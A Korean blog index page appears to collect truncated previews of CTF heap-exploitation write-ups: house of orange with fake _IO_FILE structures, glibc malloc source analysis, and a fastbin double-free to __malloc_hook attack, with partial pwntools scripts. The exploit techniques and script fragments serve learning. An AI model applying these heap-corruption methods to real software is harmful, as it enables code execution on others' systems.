처음에 ida를 통해 문제를 열게 되면 함수들이 sub~~어쩌구로 나오게 되는데 이것을 실행했을때 나오게 되는 선택지로 함수 이름을 복구하면 됩니다. 그래서 복구를 해보게 되면 main은 void __cdecl __noreturn main() { int v0; // eax char buf; // [esp+8h] [ebp-10h] unsigned int v2; // [esp+Ch] [ebp-Ch] v2 = __readgsdword(0x14u); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); while ( 1 ) { while ( 1 ) { intro(); read(0, &buf, 4u); v0 = atoi(&buf); if ( v0 != 2 ) break; de..
2019/09/06 - [힙(heap)/house_of_orange] - house_of_orange (4) HITCON house of orange writeup 이렇게 저번에는 hitcon 문제를 통해 실제 익스코드를 짜보았습니다. 하지만 일일이 가짜 _IO_FILE 구조체를 짜는 것은 번거로우므로 이제는 자동으로 가짜 구조체를 만들어주는 모듈을 만들어보겠습니다. 만드는 법은 간단합니다. 우리가 2번째 글에서 배운 것처럼 조건을 통과하도록 구조체를 작성해주시고 return 해주시면 됩니다. 2019/09/03 - [힙(heap)/house_of_orange] - house_of_orange (2) from pwn import * def hog(IO_list, ptr, fun): payload = '/..
저번까지는 가짜 구조체를 작성하는 방법에 대해 알아보았습니다. 이제는 _IO_list_all을 덮음으로서 이 가짜 구조체를 진짜라고 인식하게 하는 과정을 거쳐야합니다. _IO_list_all을 덮는 방법에 대해서는 fastbin double free, unsorted bin attack 등 여러개가 있을테지만 이번에는 unsorted bin attack을 상용할 것입니다. 여기서 1가지 문제점이 발생하는데 unsorted bin attack을 사용하여 _IO_list_all을 main_arena + 88로 덮게 되면 그 부분은 bin 관려한 정보가 있는 main_arena영역이기 때문입니다. int _IO_flush_all_lockp (int do_lock) { int result = 0; FILE *f..
house of orange의 핵심은 1. 먼저 top chunk의 크기를 본래 크기보다 속여서 크기가 크고 free된 청크를 만들어냅니다. 2. 그리고 가짜 _IO_FILE_PLUS와 _IO_wide_data 구조체를 만듭니다. 3. _IO_list_all을 가짜 구조체의 포인터가 있는 주소로 덮어씁니다. 4. 메모리 손상을 일으킵니다. 5. 그럼 _IO_flush_all_lockup()을 호출하게 됩니다. 그런데 이것은 3번에 의해 변경된 값을 참조하게 됩니다. 6. _IO_OVERFLOW()를 호출하게 되는데 이 주소값은 우리가 2번 과정으로 변조한 값이 됩니다. (ex : one_gadget으로 덮을시에 쉘) 처음 보시면 잘 이해가 안되실 수 있습니다. 고로 첫번째부터 차근 차근 알려드리겠습니다...
/* ----------- 시스템 할당을 다루기 위한 함수이다. -------------- */ /* sysmalloc은 시스템으로부터 더 많은 메모리를 요구하는 경우(즉 top chunk의 크기가 부족할 때) 실행된다. 시작부분에, av->top(top chunk)이 요청한 크기를 할당하기에 충분한 크기가 없다고 추정된다. 그러므로 av->top(top chunk)가 확장되거나 대체될 필요가 있다. */ static void * sysmalloc (INTERNAL_SIZE_T nb, mstate av) { mchunkptr old_top; /* incoming value of av->top */ INTERNAL_SIZE_T old_size; /* 그것의 크기 */ char *old_end; /* 그것의..
from pwn import * #p = process('./campnote') p = remote("pwnable.shop", 20202) e = ELF('./campnote') l = e.libc context.log_level="debug" def malloc(size, content): p.sendlineafter('>>','1') p.sendlineafter('size >> ',str(size)) p.sendlineafter('data >> ',str(content)) def free(index): p.sendlineafter('>>','2') p.sendlineafter('index >> ', str(index)) def show(index): p.sendlineafter('>>','3') p..
전형적인 메뉴를 이용하는 힙문제다. 최대 19번까지 힙을 할당할 수 있고, heap_context배열안에 포인터를 저장한다. oob를 막아났지만, free뒤에 heap_context배열을 초기화시키지 않아서 취약점이 발생한다. free된 힙부분을 볼 수 있어서, 취약점이 생긴다. 1. fastbin에 들어갈 청크 2개 생성 2.unsorted bin에 들어갈만큼의 힙 할당후 해제 3. view로 보아서 libc leak 4.double free bug를 활용해서 fastbin에 들어갈 chunk를 free시킨다. 5. malloc()으로 free한 fastbin에 있던거 1개 할당받고, fd를 malloc_hook부분을 fastbin에 들어갈 크기로 할당할 크기를 잘 맞춰 수정한다. 6. malloc()..
2019/08/09 - [분류 전체보기] - _int_malloc 함수 분석 (2) _int_malloc 함수 분석 (2) 2019/08/09 - [힙(heap)] - _int_malloc 함수 분석 (1) _int_malloc 함수 분석 (1) INTERNAL_SIZE_T nb; /* 요청한 크기를 알맞게 가공한 변수*/ unsigned int idx; /* 연관된 bin의 index */ mbinptr bin; /* 연.. youngsouk-hack.tistory.com 이 글과 이어지는 내용입니다. 안보셨으면 보고 오시는 것을 추천드립니다. } /* place chunk in bin */ if (in_smallbin_range (size)) { victim_index = smallbin_index ..